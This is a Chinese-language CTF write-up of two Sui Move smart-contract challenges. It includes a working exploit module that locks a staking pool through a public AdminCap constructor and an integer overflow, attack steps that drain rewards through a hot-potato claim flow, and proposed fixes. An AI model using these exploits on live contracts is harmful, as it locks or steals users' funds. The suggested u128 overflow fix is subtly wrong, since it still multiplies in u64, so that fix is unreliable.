sui_basecamp_ctf(2)
字数 1632 2025-09-23 19:27:38

Sui区块链CTF挑战:Deadlock Finance与Hot Potato Finance漏洞分析与利用教学

1 Deadlock Finance挑战

1.1 挑战目标

  • 确保用户无法解除质押资金
  • 永久锁定合约,禁止任何形式的提取、撤回或转移操作
  • 通过使is_solved函数调用失败来完成挑战

1.2 漏洞分析

1.2.1 关键函数分析

public fun is_solved(challenge: &mut Challenge<COIN>, clock: &Clock, ctx: &mut TxContext) {
    let (min_stake, _) = challenge.pool.get_stake_limits();
    let stake = challenge.coin_supply.increase_supply(min_stake);
    challenge.pool.stake(coin::from_balance(stake, ctx), clock, ctx);
}

该函数仅调用get_stake_limits()stake()函数,其中:

  • get_stake_limits()为只读函数,不会出错
  • stake()函数包含可能触发错误的断言

1.2.2 stake函数关键断言

let rewards = calculate_rewards(amount, pool.apr, pool.apr_base, pool.duration);
assert!(rewards <= pool.available_rewards.value());

1.2.3 calculate_rewards函数

public fun calculate_rewards(amount: u64, apr: u64, apr_base: u64, duration: u64): u64 {
    if (amount == 0) {
        return 0
    };
    let rewards = (amount * apr) / apr_base;
    let rewards = rewards * duration / YEAR_IN_SECONDS;
    rewards
}

1.3 攻击向量:整数溢出

1.3.1 溢出条件

  • 初始available_reward为1000
  • 需要使rewards > 1000触发断言失败
  • 通过修改aprduration实现溢出

1.3.2 利率限制检查

const MAX_APR_PERCENTAGE: u64 = 1000;

fun check_apr(apr: u64, decimals: u8) {
    assert!(decimals >= MIN_APR_DECIMALS && decimals <= MAX_APR_DECIMALS);
    let apr_percentage = ((apr as u128) * 100u128 / 10u128.pow(decimals)) as u64;
    assert!(apr_percentage >= MIN_APR_PERCENTAGE && apr_percentage <= MAX_APR_PERCENTAGE);
}

1.3.3 溢出计算

  • amount = 200 (min_stake)
  • 设置apr = 10¹⁸,apr_base = 10¹⁸
  • amount * apr = 200 × 10¹⁸ = 2 × 10²⁰
  • u64最大值:1.844 × 10¹⁹
  • 计算结果溢出,导致交易回滚

1.4 攻击实施

1.4.1 利用AdminCap漏洞

public fun create<T>(
    apr: u64,
    apr_decimals: u8,
    duration: u64,
    cooldown: u64,
    min_stake: u64,
    max_stake: u64,
    rewards: Coin<T>,
    ctx: &mut TxContext,
): (Pool<T>, AdminCap) {
    // 任何人都可调用此public函数创建AdminCap
}

1.4.2 攻击代码(EXP)

module the_solution::solution;

use challenge::challenge::Challenge;
use challenge::staking;
use challenge::coin::COIN;

const NEW_APR_DECIMALS: u8 = 18;

#[allow(lint(self_transfer))]
public fun solve(challenge: &mut Challenge<COIN>, ctx: &mut TxContext) {
    let coins = challenge.claim_coin(ctx);
    let pool = challenge.get_pool();
    
    // 创建新的Pool和AdminCap
    let (pool2, admin_cap) = staking::create<COIN>(
        1000, 3, 90 * 24 * 60 * 60, 24 * 60 * 60, 200, 1_000_000, coins, ctx
    );
    
    // 设置高精度APR导致溢出
    pool.update_apr(&admin_cap, (10u128.pow(18)) as u64, NEW_APR_DECIMALS);
    
    transfer::public_transfer(admin_cap, ctx.sender());
    transfer::public_transfer(pool2, ctx.sender());
}

1.5 漏洞修复方案

1.5.1 根本修复:修改函数可见性

// 将public改为非公开
fun create<T>(
    apr: u64,
    apr_decimals: u8,
    duration: u64,
    cooldown: u64,
    min_stake: u64,
    max_stake: u64,
    rewards: Coin<T>,
    ctx: &mut TxContext,
): (Pool<T>, AdminCap) {
    // 函数实现
}

1.5.2 辅助修复:防止整数溢出

public fun calculate_rewards(amount: u64, apr: u64, apr_base: u64, duration: u64): u64 {
    if (amount == 0) {
        return 0
    };
    // 使用u128防止溢出
    let rewards = ( (amount * apr) as u128 / apr_base as u128 ) as u64;
    let rewards = rewards * duration / YEAR_IN_SECONDS;
    rewards
}

2 Hot Potato Finance挑战

2.1 挑战目标

  • 通过调用claim_complete()从池中索取超过2000个奖励
  • 完全依赖索取功能将奖励直接存入钱包

2.2 漏洞分析

2.2.1 关键机制

  • claim_start(): 开始提取存款和奖励
  • claim_step(): 计算其他用户的存款
  • claim_complete(): 发放存款和奖励

2.2.2 奖励计算

奖励计算基于存款占比:

let user_evaluation = get_evaluation(user_deposit);
let total_evaluation = get_total_evaluation();
let rewards_amount = (user_evaluation * pool.rewards.value()) / total_evaluation;

2.2.3 漏洞利用点

  1. claim_start()记录当前用户数量到HotPotato
  2. claim_complete()要求处理total_deposits - 1个用户
  3. 可通过插入低份额用户绕过对高份额用户的处理

2.3 攻击实施

2.3.1 攻击步骤

  1. 调用deposit_for()存入reward_coin
  2. 由于oracle中无reward_coin价格,评估值为0
  3. 调用claim_start()开始索赔流程
  4. 插入低份额用户
  5. 调用claim_step()处理低份额用户
  6. 调用claim_complete()获取全部奖励

2.3.2 关键漏洞

  • 存款时未正确验证pool.stage == Stage::Depositing
  • reward_coin评估值为0,但计入存款占比计算

2.4 修复方案

2.4.1 方案一:加强状态验证

public fun deposit_for(pool: &mut Pool, user: address, deposit: Coin) {
    assert!(pool.stage == Stage::Depositing); // 添加状态验证
    // 函数实现
}

2.4.2 方案二:完善HotPotato设计

struct ClaimingPotato {
    id: UID,
    pool_id: ID,
    processed_users: VecSet<address>,
    expected_users: VecSet<address>, // 添加预期用户记录
}

claim_start时记录当前用户快照:

public fun claim_start(pool: &mut Pool, ctx: &mut TxContext): ClaimingPotato {
    // 记录当前所有用户
    let expected_users = vec_set::from_iter(table::keys(&pool.users));
    
    ClaimingPotato {
        id: object::new(ctx),
        pool_id: object::id(pool),
        processed_users: vec_set::empty(),
        expected_users,
    }
}

claim_step中验证用户合法性:

public fun claim_step(potato: &mut ClaimingPotato, pool: &mut Pool, user: address) {
    assert!(vec_set::contains(&potato.expected_users, user)); // 验证用户合法性
    // 函数实现
}

3 总结

3.1 核心漏洞类型

  1. 权限控制漏洞:AdminCap创建函数可见性设置不当
  2. 整数溢出漏洞:数值计算未考虑边界情况
  3. 状态验证漏洞:关键操作缺少状态机验证
  4. 逻辑设计漏洞:业务逻辑设计不严谨

3.2 安全开发建议

  1. 严格管理函数可见性,特别是权限相关函数
  2. 数值计算使用更大数据类型或添加溢出检查
  3. 实现完整的状态机验证机制
  4. 关键操作记录完整快照信息
  5. 进行完整的边界情况测试

3.3 审计要点

  1. 检查所有权限管理函数的可见性
  2. 验证所有数值计算的边界情况
  3. 审查状态转换的逻辑完整性
  4. 检查业务逻辑的异常处理机制

通过深入理解这些漏洞类型和修复方案,开发者可以提高Sui智能合约的安全性,防止类似漏洞的发生。

Sui区块链CTF挑战:Deadlock Finance与Hot Potato Finance漏洞分析与利用教学 1 Deadlock Finance挑战 1.1 挑战目标 确保用户无法解除质押资金 永久锁定合约,禁止任何形式的提取、撤回或转移操作 通过使 is_solved 函数调用失败来完成挑战 1.2 漏洞分析 1.2.1 关键函数分析 该函数仅调用 get_stake_limits() 和 stake() 函数,其中: get_stake_limits() 为只读函数,不会出错 stake() 函数包含可能触发错误的断言 1.2.2 stake函数关键断言 1.2.3 calculate_ rewards函数 1.3 攻击向量:整数溢出 1.3.1 溢出条件 初始 available_reward 为1000 需要使 rewards > 1000 触发断言失败 通过修改 apr 和 duration 实现溢出 1.3.2 利率限制检查 1.3.3 溢出计算 amount = 200 (min_ stake) 设置 apr = 10¹⁸, apr_base = 10¹⁸ amount * apr = 200 × 10¹⁸ = 2 × 10²⁰ u64最大值:1.844 × 10¹⁹ 计算结果溢出,导致交易回滚 1.4 攻击实施 1.4.1 利用AdminCap漏洞 1.4.2 攻击代码(EXP) 1.5 漏洞修复方案 1.5.1 根本修复:修改函数可见性 1.5.2 辅助修复:防止整数溢出 2 Hot Potato Finance挑战 2.1 挑战目标 通过调用 claim_complete() 从池中索取超过2000个奖励 完全依赖索取功能将奖励直接存入钱包 2.2 漏洞分析 2.2.1 关键机制 claim_start() : 开始提取存款和奖励 claim_step() : 计算其他用户的存款 claim_complete() : 发放存款和奖励 2.2.2 奖励计算 奖励计算基于存款占比: 2.2.3 漏洞利用点 claim_start() 记录当前用户数量到HotPotato claim_complete() 要求处理 total_deposits - 1 个用户 可通过插入低份额用户绕过对高份额用户的处理 2.3 攻击实施 2.3.1 攻击步骤 调用 deposit_for() 存入 reward_coin 由于oracle中无 reward_coin 价格,评估值为0 调用 claim_start() 开始索赔流程 插入低份额用户 调用 claim_step() 处理低份额用户 调用 claim_complete() 获取全部奖励 2.3.2 关键漏洞 存款时未正确验证 pool.stage == Stage::Depositing reward_coin 评估值为0,但计入存款占比计算 2.4 修复方案 2.4.1 方案一:加强状态验证 2.4.2 方案二:完善HotPotato设计 在 claim_start 时记录当前用户快照: 在 claim_step 中验证用户合法性: 3 总结 3.1 核心漏洞类型 权限控制漏洞 :AdminCap创建函数可见性设置不当 整数溢出漏洞 :数值计算未考虑边界情况 状态验证漏洞 :关键操作缺少状态机验证 逻辑设计漏洞 :业务逻辑设计不严谨 3.2 安全开发建议 严格管理函数可见性,特别是权限相关函数 数值计算使用更大数据类型或添加溢出检查 实现完整的状态机验证机制 关键操作记录完整快照信息 进行完整的边界情况测试 3.3 审计要点 检查所有权限管理函数的可见性 验证所有数值计算的边界情况 审查状态转换的逻辑完整性 检查业务逻辑的异常处理机制 通过深入理解这些漏洞类型和修复方案,开发者可以提高Sui智能合约的安全性,防止类似漏洞的发生。